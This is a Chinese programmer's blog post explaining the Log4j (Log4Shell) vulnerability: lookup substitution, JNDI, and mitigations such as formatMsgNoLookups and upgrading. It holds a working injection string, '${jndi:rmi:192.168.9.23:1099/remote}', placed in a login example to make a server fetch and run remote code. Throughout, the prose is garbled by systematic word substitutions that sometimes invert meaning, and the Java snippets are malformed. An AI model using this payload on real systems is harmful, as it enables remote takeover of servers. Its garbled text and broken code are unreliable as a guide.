共计 1561 个字符,预计需要花费 4 分钟才能阅读完成。
核弹级 bug Log4j,置信很多人都有所耳闻了,这两天很多读者都在问我对于这个 bug 的原理等一些问题,明天咱们就专门写一篇文章,一起聊一聊这个核弹级别的 bug 的产生原理以及怎么避免
产生起因
其实这个次要的起因,和日志无关,日志是应用软件中不可短少的局部,Apache 的开源我的项目 log4j 是一个功能强大的日志组件, 提供方便的日志记录。
最简略的日志打印
咱们看如下场景:
这个场景大家应该很相熟了,就是用户登录,咱们明天不必关怀登录是怎么实现的,只用关怀用户名 name 字段就能够了,代码如下
public void login(string name){
String name = "test"; // 表单接管 name 字段
logger.info("{}, 登录了", name); //logger 为 log4j
}
很简略,用户如果登陆了,咱们通过表单接管到相干 name 字段,而后在日志中记录上这么一条记录。
这个看起来是很惯例的操作了,记录日志为什么会导致 bug 呢?不要焦急,咱们接下来往下看。
lookup 反对打印零碎变量
name 变量是用户输出的,用户输出什么都能够,下面的例子是字符串 test,那么用户能够输出别的内容么?
public void login(string name){String name = "{$java:os}"; // 用户输出的 name 内容为 {$java:os}
logger.info("{}, 登录了", name); //logger 为 log4j
}
如果用户在用户名输入框输出{$java:os},那么日志中记录的会是零碎相干的信息,上述代码会输入
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了
为什么会产生这种奇怪的景象呢?
是因为 log4j 提供了一个 lookup 的性能,对 lookup 性能不相熟的同学也没有关系,你晓得有这么个办法,能够把一些零碎变量放到日志中就能够了,如下图
比拟敏锐的同学可能曾经开始察觉到了,当初越来越像 sql 注入了。
JNDI 介绍
很多同学可能对 JNDI 不是很理解,不过没关系,我用最艰深的话来解释
其实就是你本人做一个服务,比方是
jndi:rmi:192.168.9.23:1099/remote
如果被攻打的服务器,比方某台线上的服务器,拜访了或者执行了,你本人的 JNDI 服务,那么线上的服务器就会来执行 JNDI 服务中的 remote 办法的代码。如果不是很分明,没关系,上面有张图
大家还记得咱们明天的配角 log4j 么?
如果用户间接在用户名输入框输出 JNDI 的服务地址
public void login(string name){String name = "${jndi:rmi:192.168.9.23:1099/remote}"; // 用户输出的 name 内容为 jndi 相干信息
logger.info("{}, 登录了", name);
}
那么只有是你用 log4j 来打印这么一条日志,那么 log4j 就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就能够对线上服务做任何操作了,
大家设想一下,一个不是你公司的人,却能够在你们公司线上服务器做任何操作,这该是如许的可怕。
解决形式
其实如果你理解了这个原理那么解决形式也就高深莫测了,
- 禁用 lookup 或 JNDI 服务
罪魁祸首就是 lookup 和 JNDI,那么间接批改配置文件 log4j2.formatMsgNoLookups=True 或禁用 JNDI 服务,不过个别产生问题的服务都是线上曾经在跑的服务,禁用的时候要留神评估一下是否容许。
- 降级 Apache Log4j
这次产生的影响范畴次要是在 Apache Log4j 2.x <= 2.14.1
,所以间接把 Log4j 降级即可解决。
欢送关注我的公众号,程序员小饭,下期见